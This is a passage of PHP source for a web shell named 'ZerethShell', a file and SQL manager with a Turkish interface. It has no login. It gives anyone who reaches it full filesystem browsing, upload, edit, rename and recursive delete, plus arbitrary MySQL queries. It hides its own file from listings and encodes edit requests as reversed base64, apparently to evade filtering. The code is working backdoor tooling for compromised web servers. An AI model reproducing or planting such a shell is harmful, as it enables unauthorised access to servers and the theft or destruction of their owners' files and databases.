ZerethShell — File Manager

b.php

<?php
session_start();
@ini_set('display_errors', 0);
@ini_set('max_execution_time', 0);

if (isset($_POST['db_connect'])) {
    $_SESSION['ly_db_host'] = $_POST['db_host'] ?? 'localhost';
    $_SESSION['ly_db_user'] = $_POST['db_user'] ?? 'root';
    $_SESSION['ly_db_pass'] = $_POST['db_pass'] ?? '';
    $_SESSION['ly_db_name'] = $_POST['db_name'] ?? '';
    header("Location: ?mode=db");
    exit;
}
if (isset($_GET['db_logout'])) {
    unset($_SESSION['ly_db_host'], $_SESSION['ly_db_user'], $_SESSION['ly_db_pass'], $_SESSION['ly_db_name'], $_SESSION['ly_db_conn']);
    header("Location: ?mode=db");
    exit;
}
function human_size(int $bytes): string {
    $units = ['B', 'KB', 'MB', 'GB'];
    $i = 0;
    while ($bytes >= 1024 && $i < 3) { $bytes /= 1024; $i++; }
    return round($bytes, 1) . ' ' . $units[$i];
}
function is_self_script(string $path): bool {
    static $selfPath = null;
    if ($selfPath === null) $selfPath = str_replace('\\', '/', realpath(__FILE__));
    $rp = realpath($path);
    return ($rp && str_replace('\\', '/', $rp) === $selfPath);
}
function safe_b64encode($string) {
    if (!$string) return '';
    return str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($string));
}
function safe_b64decode($string) {
    if (!$string) return '';
    $b64 = str_replace(['-', '_'], ['+', '/'], $string);
    $pad = strlen($b64) % 4;
    if ($pad) { $b64 .= str_repeat('=', 4 - $pad); }
    return base64_decode($b64);
}
$mode = $_GET['mode'] ?? 'fs';
if ($mode !== 'db') $mode = 'fs';
$msg = '';
$msgType = 'success';
$self = $_SERVER['PHP_SELF'];
function get_safe_path_param($paramName) {
    if (!isset($_GET[$paramName])) return null;
    $val = $_GET[$paramName];
    if (preg_match('/^[a-zA-Z0-9\-_]+$/', $val)) {
        $decoded = safe_b64decode($val);
        if ($decoded !== false && is_string($decoded)) {
            return $decoded;
        }
    }
    return $val;
}
if ($mode === 'fs') {
    $currentPath = get_safe_path_param('path') ?? realpath(__DIR__);
    $currentPath = str_replace('\\', '/', $currentPath);
    $currentPath = rtrim($currentPath, '/');
    if (empty($currentPath)) $currentPath = '/';
    if (!file_exists($currentPath) || !is_dir($currentPath)) {
        $currentPath = str_replace('\\', '/', realpath(__DIR__));
    }
    if (isset($_POST['upload_file_b64']) && isset($_POST['upload_file_name'])) {
        $name = basename(trim($_POST['upload_file_name']));
        $dest = $currentPath . '/' . $name;
        $fileData = @base64_decode($_POST['upload_file_b64']);
        if ($fileData !== false) {
            if (file_put_contents($dest, $fileData) !== false) {
                $msg = "\"$name\" dosyası yüklendi.";
            } else { 
                $msg = 'Dosya yazılamadı (İzin hatası olabilir).'; $msgType = 'error'; 
            }
        } else {
            $msg = 'Dosya verisi işlenemedi.'; $msgType = 'error';
        }
    }
    if (isset($_POST['new_file_name'])) {
        $name = basename(trim($_POST['new_file_name']));
        if ($name) {
            $fp = $currentPath . '/' . $name;
            if(!file_exists($fp)){ file_put_contents($fp, $_POST['new_file_content'] ?? ''); $msg = "\"$name\" oluşturuldu."; }
            else { $msg = "Bu isimde bir dosya zaten var!"; $msgType = 'error'; }
        }
    }
    if (isset($_POST['new_folder_name'])) {
        $name = basename(trim($_POST['new_folder_name']));
        if ($name) {
            $dest = $currentPath . '/' . $name;
            if(!file_exists($dest)) { @mkdir($dest, 0755, true); $msg = "\"$name\" klasörü oluşturuldu."; }
            else { $msg = "Bu isimde bir klasör zaten var!"; $msgType = 'error'; }
        }
    }
    if (isset($_POST['delete_item'])) {
        $fp = str_replace('\\', '/', $_POST['delete_item']);
        if (is_self_script($fp)) { $msg = 'ZerethShell kendi kendini silemez!'; $msgType = 'error'; }
        elseif (is_file($fp)) { @unlink($fp); $msg = basename($fp) . ' silindi.'; }
        elseif (is_dir($fp)) {
            $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($fp, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
            foreach ($it as $f) { $f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname()); }
            @rmdir($fp); $msg = basename($fp) . ' klasörü silindi.';
        }
    }
    if (isset($_POST['bulk_delete']) && isset($_POST['items']) && is_array($_POST['items'])) {
        $count = 0;
        foreach ($_POST['items'] as $itemPath) {
            $fp = str_replace('\\', '/', $itemPath);
            if (is_self_script($fp)) continue;
            if (is_file($fp)) { @unlink($fp); $count++; }
            elseif (is_dir($fp)) {
                $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($fp, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
                foreach ($it as $f) { $f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname()); }
                @rmdir($fp); $count++;
            }
        }
        if ($count > 0) $msg = "Seçilen $count öğe başarıyla silindi.";
        else { $msg = "Hiçbir dosya silinemedi."; $msgType = 'error'; }
    }
    if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
        $from = str_replace('\\', '/', $_POST['rename_from']);
        $toName = basename(trim($_POST['rename_to']));
        if (is_self_script($from)) { $msg = 'ZerethShell kendi ismini buradan değiştiremez!'; $msgType = 'error'; }
        elseif (file_exists($from) && !empty($toName)) {
            $to = dirname($from) . '/' . $toName;
            if(!file_exists($to)){ rename($from, $to); $msg = basename($from) . ' -> ' . $toName . ' oldu.'; }
            else { $msg = 'Yeni isimde bir dosya zaten mevcut.'; $msgType = 'error'; }
        }
    }
    if (isset($_POST['save_path_b64']) || isset($_POST['save_path'])) {
        if (isset($_POST['save_path_b64'])) {
            $fp = base64_decode(strrev($_POST['save_path_b64']));
        } else {
            $fp = $_POST['save_path'];
        }
        $fp = str_replace('\\', '/', $fp);
        if (is_self_script($fp)) { $msg = 'Kendi kaynak kodunu değiştiremezsin!'; $msgType = 'error'; }
        elseif (is_file($fp)) {
            if (isset($_POST['b64_content'])) {
                $content = base64_decode(strrev($_POST['b64_content']));
            } else {
                $content = $_POST['save_content'] ?? '';
            }
            file_put_contents($fp, $content); $msg = basename($fp) . ' başarıyla kaydedildi.';
        }
    }
    $editFile = null; $editContent = '';
    $editParam = get_safe_path_param('edit');
    if ($editParam) {
        $editPath = str_replace('\\', '/', $editParam);
        if (is_file($editPath)) { $editFile = $editPath; $editContent = file_get_contents($editPath); }
    }
    $items = [];
    if (is_dir($currentPath)) {
        $scan = @scandir($currentPath);
        if ($scan) {
            foreach ($scan as $item) {
                if ($item === '.' || $item === '..') continue;
                $itemPath = $currentPath === '/' ? '/' . $item : $currentPath . '/' . $item;
                if (is_self_script($itemPath)) continue;
                $items[] = [
                    'name' => $item, 'path' => $itemPath, 'type' => is_dir($itemPath) ? 'dir' : 'file',
                    'size' => is_file($itemPath) ? filesize($itemPath) : 0, 'modified' => @filemtime($itemPath),
                    'ext' => strtolower(pathinfo($item, PATHINFO_EXTENSION)),
                ];
            }
        }
        usort($items, function($a, $b) {
            if ($a['type'] !== $b['type']) return $a['type'] === 'dir' ? -1 : 1;
            return strcasecmp($a['name'], $b['name']);
        });
    }
    $parentDir = dirname($currentPath);
    $canGoUp = ($parentDir !== $currentPath && $currentPath !== '/');
    $parts = array_filter(explode('/', $currentPath), 'strlen');
    $breadcrumbs = []; $acc = '';
    if (DIRECTORY_SEPARATOR === '\\' && preg_match('/^[A-Z]:/i', $currentPath)) {
        $drive = array_shift($parts); $acc = $drive; $breadcrumbs[] = ['name' => $drive, 'path' => $drive . '/'];
    } else {
        $breadcrumbs[] = ['name' => '<i class="fas fa-home"></i>', 'path' => '/'];
    }
    foreach ($parts as $p) {
        $acc = rtrim($acc, '/') . '/' . $p;
        $breadcrumbs[] = ['name' => htmlspecialchars($p, ENT_QUOTES, 'UTF-8'), 'path' => $acc];
    }
}
$dbConnected = false;
$pdo = null;
$dbTables = [];
$dbResult = null;
$dbQueryError = null;
$dbCurrentTable = $_GET['table'] ?? '';
$dbCustomQuery = $_POST['custom_query'] ?? '';
if ($mode === 'db' && isset($_SESSION['ly_db_host'])) {
    try {
        $dsn = "mysql:host=" . $_SESSION['ly_db_host'] . ";charset=utf8mb4";
        if (!empty($_SESSION['ly_db_name'])) {
            $dsn .= ";dbname=" . $_SESSION['ly_db_name'];
        }
        $pdo = new PDO($dsn, $_SESSION['ly_db_user'], $_SESSION['ly_db_pass'], [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
        ]);
        $dbConnected = true;
        if (empty($_SESSION['ly_db_name'])) {
            $stmt = $pdo->query("SHOW DATABASES");
            while ($row = $stmt->fetch(PDO::FETCH_NUM)) {
                $dbTables[] = $row[0];
            }
        } else {
            $stmt = $pdo->query("SHOW TABLES");
            while ($row = $stmt->fetch(PDO::FETCH_NUM)) {
                $dbTables[] = $row[0];
            }
        }
        if (!empty($dbCustomQuery)) {
            $stmt = $pdo->query($dbCustomQuery);
            if ($stmt && $stmt->columnCount() > 0) {
                $dbResult = $stmt->fetchAll();
            } else {
                $msg = "Sorgu başarıyla çalıştırıldı (Etkilenen Satır: " . $stmt->rowCount() . ")";
            }
        }
        elseif (!empty($dbCurrentTable) && !empty($_SESSION['ly_db_name'])) {
            $tbl = preg_replace('/[^a-zA-Z0-9_]/', '', $dbCurrentTable);
            $dbCustomQuery = "SELECT * FROM `$tbl` LIMIT 100";
            $stmt = $pdo->query($dbCustomQuery);
            $dbResult = $stmt->fetchAll();
        }

} catch (PDOException $e) {
        $dbConnected = false;
        $dbQueryError = $e->getMessage();
        if (!$pdo) {
            unset($_SESSION['ly_db_host']);
        }
    }
}
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>ZerethShell — <?= $mode==='db' ? 'SQL Manager' : 'File Manager' ?></title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
<style>
:root {
  --bg-main: #0a0202; --bg-card: #140505; --bg-hover: #260a0a; --border: #3d1414;
  --text-main: #f3f4f6; --text-muted: #9ca3af; --accent: #ef4444; --accent-hover: #dc2626;
  --danger: #ef4444; --success: #10b981; --folder: #ef4444;
}
*{margin:0;padding:0;box-sizing:border-box}
body{background:var(--bg-main);color:var(--text-main);font-family:'Segoe UI',Inter,sans-serif;font-size:14px;line-height:1.5;min-height:100vh}
a{color:var(--text-main);text-decoration:none}
a:hover{color:var(--accent)}
.topbar{background:var(--bg-card);border-bottom:1px solid var(--border);padding:15px 25px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:15px;position:sticky;top:0;z-index:50;}
.topbar h1{font-size:1.2rem;font-weight:700;display:flex;align-items:center;gap:10px;text-transform:uppercase;letter-spacing:1px}
.topbar .right-panel{display:flex;gap:15px;align-items:center;font-size:0.85rem;}
.nav-tabs { display:flex; gap:10px; }
.nav-tab { padding:8px 16px; border:1px solid var(--border); border-radius:6px; background:var(--bg-main); color:var(--text-muted); font-weight:600; transition:0.2s;}
.nav-tab.active { background:var(--accent); color:#fff; border-color:var(--accent); }
.nav-tab:hover:not(.active) { background:var(--bg-hover); color:var(--text-main); }
.container{max-width:1400px;margin:20px auto;padding:0 25px}
.breadcrumb{display:flex;gap:8px;font-size:.9rem;margin-bottom:20px;flex-wrap:wrap;background:var(--bg-card);padding:10px 15px;border-radius:8px;border:1px solid var(--border)}
.breadcrumb a{color:var(--text-muted)}
.breadcrumb a:hover{color:var(--accent)}
.breadcrumb span{color:#4a2b2b}
.breadcrumb a:last-child{color:var(--accent);font-weight:600}
.alert{padding:12px 18px;border-radius:6px;margin-bottom:20px;font-size:.9rem;display:flex;align-items:center;gap:10px;}
.alert.success{background:rgba(16,185,129,0.1);color:var(--success);border:1px solid rgba(16,185,129,0.2)}
.alert.error{background:rgba(239,68,68,0.1);color:var(--danger);border:1px solid rgba(239,68,68,0.2)}
.toolbar{display:flex;gap:10px;margin-bottom:20px;flex-wrap:wrap;align-items:center;}
.btn{padding:8px 16px;border:1px solid var(--border);background:var(--bg-card);color:var(--text-main);border-radius:6px;cursor:pointer;font-size:.85rem;font-weight:500;display:inline-flex;align-items:center;gap:8px;transition:0.2s}
.btn:hover{background:var(--bg-hover)}
.btn.primary{background:var(--accent);border-color:var(--accent);color:#fff}
.btn.primary:hover{background:var(--accent-hover)}
.btn.danger{color:var(--danger);border-color:rgba(239,68,68,0.3)}
.btn.danger:hover{background:rgba(239,68,68,0.1)}
.upload-form{display:flex;gap:10px;}
.upload-form input[type=file]{padding:6px 10px;background:var(--bg-hover);border:1px dashed var(--border);border-radius:6px;color:var(--text-main);font-size:.8rem;cursor:pointer}
.card{background:var(--bg-card);border:1px solid var(--border);border-radius:10px;overflow:x-auto}
table{width:100%;border-collapse:collapse;text-align:left}
th{padding:12px 16px;font-size:.75rem;text-transform:uppercase;letter-spacing:1px;color:var(--text-muted);border-bottom:1px solid var(--border);font-weight:600; white-space:nowrap;}
td{padding:12px 16px;border-bottom:1px solid #1c0a0a;font-size:.85rem}
tr:hover td{background:var(--bg-hover)}
tr:last-child td{border-bottom:none;}
.cb-col{width:40px;text-align:center;}
input[type=checkbox] { accent-color: var(--accent); width:15px; height:15px; cursor:pointer; }
.icon-col{width:40px;text-align:center;font-size:1.1rem;}
.dir .icon-col{color:var(--folder)}
.file .icon-col{color:var(--text-muted)}
.name-col a{color:var(--text-main);font-weight:500}
.name-col a:hover{color:var(--accent)}
.size-col{color:var(--text-muted);font-family:monospace}
.date-col{color:var(--text-muted)}
.actions-col{display:flex;gap:6px;justify-content:flex-end}
.actions-col .btn{padding:5px 10px;font-size:.8rem}
.up-dir td{background:rgba(239,68,68,0.02)}
.up-dir:hover td{background:rgba(239,68,68,0.06)}
.editor{background:var(--bg-card);border:1px solid var(--border);border-radius:10px;padding:20px}
.editor textarea, .sql-textarea{width:100%;min-height:500px;font-family:'Fira Code','Consolas',monospace;font-size:.85rem;background:#050101;border:1px solid var(--border);border-radius:6px;padding:15px;color:#fca5a5;line-height:1.6;resize:vertical;outline:none}
.editor textarea:focus, .sql-textarea:focus{border-color:var(--accent)}
.editor-bar{display:flex;gap:10px;margin-top:15px}
.modal-overlay{display:none;position:fixed;inset:0;background:rgba(0,0,0,.8);z-index:100;align-items:center;justify-content:center;backdrop-filter:blur(2px)}
.modal-overlay.open{display:flex}
.modal{background:var(--bg-card);border:1px solid var(--border);border-radius:12px;padding:25px;width:100%;max-width:450px;box-shadow:0 10px 40px rgba(0,0,0,0.8)}
.form-group{margin-bottom:15px}
.form-group label{display:block;font-size:.85rem;color:var(--text-muted);margin-bottom:8px}
.form-group input, .form-group textarea{width:100%;padding:10px 12px;background:var(--bg-main);border:1px solid var(--border);border-radius:6px;color:var(--text-main);outline:none;font-family:inherit}
.form-group input:focus{border-color:var(--accent)}
.modal-bar{display:flex;gap:10px;margin-top:20px;justify-content:flex-end}
.db-layout { display:flex; gap:20px; align-items:flex-start; }
.db-sidebar { width:250px; background:var(--bg-card); border:1px solid var(--border); border-radius:10px; padding:15px; flex-shrink:0;}
.db-sidebar h3 { font-size:.9rem; margin-bottom:15px; color:var(--text-muted); text-transform:uppercase; letter-spacing:1px; }
.db-tables { display:flex; flex-direction:column; gap:5px; max-height:70vh; overflow-y:auto; }
.db-tables a { display:block; padding:8px 10px; border-radius:5px; color:var(--text-main); font-size:.85rem; transition:0.2s; }
.db-tables a:hover { background:var(--bg-hover); }
.db-tables a.active { background:rgba(239,68,68,0.1); color:var(--accent); font-weight:600; border-left:3px solid var(--accent); border-radius:0 5px 5px 0;}
.db-main { flex:1; display:flex; flex-direction:column; gap:20px; min-width:0; }
.sql-textarea { min-height: 150px; }
.sql-result { overflow-x:auto; }
.db-login-box { max-width:400px; margin:50px auto; background:var(--bg-card); border:1px solid var(--border); border-radius:10px; padding:30px; }
.db-login-box h2 { text-align:center; color:var(--accent); margin-bottom:20px; }
@media (max-width: 768px) {
  .topbar { padding:12px 15px; gap:10px; }
  .topbar h1 { font-size:1rem; }
  .nav-tab { padding:6px 12px; font-size:.8rem; }
  .container { padding:0 12px; margin:12px auto; }
  .toolbar { gap:8px; }
  .toolbar .btn { padding:7px 12px; font-size:.8rem; }
  .upload-form { flex-wrap:wrap; width:100%; }
  .upload-form input[type=file] { width:100%; }
  td.size-col, th.size-col, td.date-col, th.date-col { display:none; }
  th, td { padding:10px 8px; }
  .cb-col { width:32px; }
  .icon-col { width:32px; font-size:1rem; }
  .actions-col { gap:4px; }
  .actions-col .btn { padding:5px 8px; font-size:.75rem; }
  .card { border-radius:8px; overflow-x:auto; }
  .editor { padding:12px; }
  .editor textarea { min-height:350px; font-size:.8rem; }
  .editor-bar { flex-wrap:wrap; }
  .modal { max-width:calc(100vw - 30px); padding:18px; margin:0 15px; }
  .db-layout { flex-direction:column; gap:15px; }
  .db-sidebar { width:100%; }
  .db-tables { max-height:40vh; flex-direction:row; flex-wrap:wrap; gap:6px; }
  .db-tables a { padding:6px 10px; font-size:.8rem; }
  .db-tables a.active { border-left:none; border-bottom:3px solid var(--accent); border-radius:5px 5px 0 0; }
  .sql-textarea { min-height:120px; font-size:.8rem; }
  .db-login-box { margin:20px auto; padding:20px 15px; }
  .breadcrumb { font-size:.8rem; padding:8px 12px; gap:6px; }
}
@media (max-width: 480px) {
  .topbar h1 { font-size:.9rem; letter-spacing:0; }
  .nav-tab { padding:5px 10px; font-size:.75rem; }
  th, td { padding:8px 6px; font-size:.8rem; }
  .btn { padding:6px 10px; font-size:.78rem; }
  .modal { padding:14px; }
  .editor textarea { min-height:280px; }
  .db-sidebar { padding:10px; }
}
</style>
</head>
<body>
<div class="topbar">
  <h1><i class="fas fa-terminal" style="color:var(--accent)"></i> ZerethShell</h1>
  <div class="nav-tabs">
    <a href="?mode=fs" class="nav-tab <?= $mode === 'fs' ? 'active' : '' ?>"><i class="fas fa-folder-tree"></i> File Manager</a>
    <a href="?mode=db" class="nav-tab <?= $mode === 'db' ? 'active' : '' ?>"><i class="fas fa-database"></i> SQL Manager</a>
  </div>
</div>
<div class="container">
<?php if ($mode === 'fs'): ?>
  <div class="breadcrumb">
    <?php foreach ($breadcrumbs as $i => $bc): ?>
      <a href="<?= $self ?>?mode=fs&path=<?= safe_b64encode($bc['path']) ?>"><?= $bc['name'] ?></a>
      <?php if ($i < count($breadcrumbs) - 1): ?><span>/</span><?php endif; ?>
    <?php endforeach; ?>
  </div>
  <?php if ($msg): ?>
  <div class="alert <?= $msgType ?>">
    <i class="fas <?= $msgType === 'success' ? 'fa-check-circle' : 'fa-triangle-exclamation' ?>"></i>
    <?= htmlspecialchars($msg) ?>
  </div>
  <?php endif; ?>
  <?php if ($editFile): ?>
  <div class="editor">
    <h3 style="margin-bottom:15px;font-size:1rem;"><i class="fas fa-file-signature" style="color:var(--accent)"></i> <?= htmlspecialchars(basename($editFile)) ?></h3>
    <form id="editorForm" method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>">
      <input type="hidden" id="raw_save_path" value="<?= htmlspecialchars($editFile) ?>">
      <input type="hidden" name="save_path_b64" id="save_path_b64" value="">
      <input type="hidden" name="b64_content" id="b64_content" value="">
      <textarea id="editor_textarea" spellcheck="false"><?= htmlspecialchars($editContent) ?></textarea>
      <div class="editor-bar">
        <button type="button" class="btn primary" onclick="doEditorSave()"><i class="fas fa-save"></i> Kaydet</button>
        <a href="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>" class="btn"><i class="fas fa-arrow-left"></i> Vazgeç</a>
      </div>
    </form>
    <script>
    function doEditorSave() {
        try {
            var str = document.getElementById('editor_textarea').value;
            var strB64 = btoa(unescape(encodeURIComponent(str)));
            document.getElementById('b64_content').value = strB64.split('').reverse().join('');
            var pth = document.getElementById('raw_save_path').value;
            var pthB64 = btoa(unescape(encodeURIComponent(pth)));
            document.getElementById('save_path_b64').value = pthB64.split('').reverse().join('');
        } catch(e) { 
            alert('Kodlama hatası oluştu!'); return; 
        }
        document.getElementById('editorForm').submit();
    }
    </script>
  </div>
  <?php else: ?>
  <div class="toolbar">
    <button class="btn primary" onclick="document.getElementById('newFileModal').classList.add('open')"><i class="fas fa-file-circle-plus"></i></button>
    <button class="btn primary" onclick="document.getElementById('newFolderModal').classList.add('open')"><i class="fas fa-folder-plus"></i></button>
    <button type="button" class="btn danger" onclick="if(confirm('Seçili olan tüm dosyaları kalıcı olarak silmek istiyor musunuz?')) document.getElementById('bulkActionForm').submit();" style="margin-left:5px">
      <i class="fas fa-trash-can"></i> Seçilileri Sil
    </button>
    <div style="flex:1"></div>
    <form id="uploadForm" class="upload-form" method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>">
      <input type="file" id="upload_file_input" required>
      <input type="hidden" name="upload_file_name" id="upload_file_name" value="">
      <input type="hidden" name="upload_file_b64" id="upload_file_b64" value="">
      <button type="button" class="btn" onclick="doUpload()"><i class="fas fa-cloud-arrow-up"></i> Yükle</button>
    </form>
    <script>
    function doUpload() {
        var fileInput = document.getElementById('upload_file_input');
        if (!fileInput.files.length) { alert("Lütfen bir dosya seçin."); return; }
        var file = fileInput.files[0];
        document.getElementById('upload_file_name').value = file.name;
        var reader = new FileReader();
        reader.onload = function(e) {
            var base64data = e.target.result.split(',')[1];
            document.getElementById('upload_file_b64').value = base64data;
            document.getElementById('uploadForm').submit();
        };
        reader.onerror = function() { alert("Dosya okuma hatası!"); };
        reader.readAsDataURL(file);
    }
    </script>
  </div>
  <div class="card">
    <form id="bulkActionForm" method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>">
      <input type="hidden" name="bulk_delete" value="1">
      <table>
        <thead>
          <tr>
            <th class="cb-col"><input type="checkbox" onclick="document.querySelectorAll('.item-cb').forEach(cb => cb.checked = this.checked)"></th>
            <th class="icon-col"></th>
            <th>Dosya / Klasör Adı</th>
            <th width="120">Boyut</th>
            <th width="160">Tarih</th>
            <th width="120" style="text-align:right">İşlemler</th>
          </tr>
        </thead>
        <tbody>
          <?php if ($canGoUp): ?>
          <tr class="dir up-dir">
            <td class="cb-col"></td>
            <td class="icon-col"><i class="fas fa-level-up-alt" style="color:var(--accent)"></i></td>
            <td colspan="4"><a href="<?= $self ?>?mode=fs&path=<?= safe_b64encode($parentDir) ?>" style="font-weight:700; font-size:1.1rem; display:block;">..</a></td>
          </tr>
          <?php endif; ?>
          <?php foreach ($items as $item): ?>
          <?php
            $isDir = $item['type'] === 'dir';
            $editable = !$isDir;
            $icon = '<i class="fas fa-file"></i>';
            if ($isDir) $icon = '<i class="fas fa-folder"></i>';
            elseif(in_array($item['ext'], ['zip','rar','tar','gz','7z'])) $icon = '<i class="fas fa-file-zipper"></i>';
            elseif(in_array($item['ext'], ['mp4','avi','mkv'])) $icon = '<i class="fas fa-file-video"></i>';
            elseif(in_array($item['ext'], ['php','phtml','html','js','css','json','py','sh'])) $icon = '<i class="fas fa-file-code"></i>';
            elseif(in_array($item['ext'], ['jpg','jpeg','png','gif','svg','webp'])) $icon = '<i class="fas fa-file-image"></i>';
          ?>
          <tr class="<?= $isDir ? 'dir' : 'file' ?>">
            <td class="cb-col"><input type="checkbox" name="items[]" value="<?= htmlspecialchars($item['path'], ENT_QUOTES) ?>" class="item-cb"></td>
            <td class="icon-col"><?= $icon ?></td>
            <td class="name-col">
              <?php if ($isDir): ?>
                <a href="<?= $self ?>?mode=fs&path=<?= safe_b64encode($item['path']) ?>"><?= htmlspecialchars($item['name']) ?></a>
              <?php else: ?>
                <a href="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>&edit=<?= safe_b64encode($item['path']) ?>"><?= htmlspecialchars($item['name']) ?></a>
              <?php endif; ?>
            </td>
            <td class="size-col"><?= $isDir ? '—' : human_size($item['size']) ?></td>
            <td class="date-col"><?= $item['modified'] ? date('d.m.Y H:i', $item['modified']) : '—' ?></td>
            <td class="actions-col">
              <a href="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>&edit=<?= safe_b64encode($item['path']) ?>" class="btn" title="Düzenle"><i class="fas fa-pen"></i></a>
              <button type="button" class="btn" onclick="promptRename('<?= htmlspecialchars($item['path'], ENT_QUOTES) ?>','<?= htmlspecialchars($item['name'], ENT_QUOTES) ?>')"><i class="fas fa-i-cursor"></i></button>
              <button type="submit" form="sdf_<?= md5($item['path']) ?>" class="btn danger" onclick="return confirm('Kalıcı silinecek: <?= htmlspecialchars($item['name'], ENT_QUOTES) ?>')"><i class="fas fa-trash"></i></button>
            </td>
          </tr>
          <?php endforeach; ?>
          <?php if (empty($items) && !$currentPath): ?>
          <tr><td colspan="6" style="text-align:center;padding:50px;color:var(--text-muted)"><i class="fas fa-folder-open" style="font-size:3rem;margin-bottom:15px;opacity:0.2"></i><p>Dizin boş.</p></td></tr>
          <?php endif; ?>
        </tbody>
      </table>
    </form>
    <?php foreach ($items as $item): ?>
      <form id="sdf_<?= md5($item['path']) ?>" method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>" style="display:none;"><input type="hidden" name="delete_item" value="<?= htmlspecialchars($item['path'], ENT_QUOTES) ?>"></form>
    <?php endforeach; ?>
  </div>
  <div id="newFileModal" class="modal-overlay" onclick="if(event.target===this)this.classList.remove('open')">
    <div class="modal">
      <h3><i class="fas fa-file-circle-plus" style="color:var(--accent)"></i> Yeni Dosya</h3>
      <form method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>">
        <div class="form-group"><label>Dosya Adı</label><input type="text" name="new_file_name" placeholder="test.php" required></div>
        <div class="form-group"><label>İçerik</label><textarea name="new_file_content" rows="5"></textarea></div>
        <div class="modal-bar"><button type="button" class="btn" onclick="this.closest('.modal-overlay').classList.remove('open')">Vazgeç</button><button type="submit" class="btn primary">Oluştur</button></div>
      </form>
    </div>
  </div>
  <div id="newFolderModal" class="modal-overlay" onclick="if(event.target===this)this.classList.remove('open')">
    <div class="modal">
      <h3><i class="fas fa-folder-plus" style="color:var(--accent)"></i> Yeni Klasör</h3>
      <form method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>">
        <div class="form-group"><label>Klasör Adı</label><input type="text" name="new_folder_name" placeholder="assets" required></div>
        <div class="modal-bar"><button type="button" class="btn" onclick="this.closest('.modal-overlay').classList.remove('open')">Vazgeç</button><button type="submit" class="btn primary">Oluştur</button></div>
      </form>
    </div>
  </div>
  <div id="renameModal" class="modal-overlay" onclick="if(event.target===this)this.classList.remove('open')">
    <div class="modal">
      <h3><i class="fas fa-i-cursor" style="color:var(--accent)"></i> Yeniden Adlandır</h3>
      <form method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>">
        <input type="hidden" name="rename_from" id="renameFrom">
        <div class="form-group"><label>Yeni Ad</label><input type="text" name="rename_to" id="renameTo" required></div>
        <div class="modal-bar"><button type="button" class="btn" onclick="this.closest('.modal-overlay').classList.remove('open')">Vazgeç</button><button type="submit" class="btn primary">Kaydet</button></div>
      </form>
    </div>
  </div>
  <script>
  function promptRename(path, name) {
    document.getElementById('renameFrom').value = path; document.getElementById('renameTo').value = name;
    document.getElementById('renameModal').classList.add('open');
    setTimeout(function(){ var input = document.getElementById('renameTo'); input.focus(); var ei = name.lastIndexOf('.'); if(ei > 0) { input.setSelectionRange(0, ei); } else { input.select(); } }, 100);
  }
  </script>
  <?php endif; ?>
<?php endif; ?>
<?php if ($mode === 'db'): ?>
  <?php if (!$dbConnected): ?>
    <div class="db-login-box">
      <h2><i class="fas fa-database"></i> SQL Login</h2>
      <?php if ($dbQueryError): ?>
        <div class="alert error" style="margin-bottom:20px; text-align:center; display:block;"><?= htmlspecialchars($dbQueryError) ?></div>
      <?php endif; ?>
      <form method="POST" action="?mode=db">
        <input type="hidden" name="db_connect" value="1">
        <div class="form-group"><label>Host</label><input type="text" name="db_host" value="localhost" required></div>
        <div class="form-group"><label>Kullanıcı Adı</label><input type="text" name="db_user" value="root" required></div>
        <div class="form-group"><label>Şifre</label><input type="password" name="db_pass" placeholder="..."></div>
        <div class="form-group"><label>Veritabanı Adı (Opsiyonel)</label><input type="text" name="db_name" placeholder="gokboru_db"></div>
        <button type="submit" class="btn primary" style="width:100%; padding:10px; margin-top:10px;"><i class="fas fa-plug"></i> Bağlan</button>
      </form>
    </div>
  <?php else: ?>
    <div class="db-layout">
      <div class="db-sidebar">
        <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:15px;">
          <h3 style="margin:0;"><i class="fas fa-list"></i> <?= empty($_SESSION['ly_db_name']) ? 'Databases' : 'Tables' ?></h3>
          <a href="?mode=db&db_logout=1" class="btn danger" style="padding:4px 8px; font-size:0.75rem;" title="Bağlantıyı Kes"><i class="fas fa-power-off"></i></a>
        </div>
        <div class="db-tables">
          <?php foreach ($dbTables as $t): ?>
            <?php if (empty($_SESSION['ly_db_name'])): ?>
              <a href="javascript:alert('Bu bir sunucu veritabanı. Bağlanmak için çıkış yapıp bu adı giriniz.');"><i class="fas fa-database" style="color:var(--text-muted); margin-right:5px;"></i> <?= htmlspecialchars($t) ?></a>
            <?php else: ?>
              <a href="?mode=db&table=<?= urlencode($t) ?>" class="<?= $t === $dbCurrentTable ? 'active' : '' ?>">
                <i class="fas fa-table" style="color:var(--text-muted); margin-right:5px;"></i> <?= htmlspecialchars($t) ?>
              </a>
            <?php endif; ?>
          <?php endforeach; ?>
        </div>
      </div>
      <div class="db-main">
        <?php if ($msg): ?>
          <div class="alert success"><i class="fas fa-check-circle"></i> <?= htmlspecialchars($msg) ?></div>
        <?php endif; ?>
        <?php if ($dbQueryError): ?>
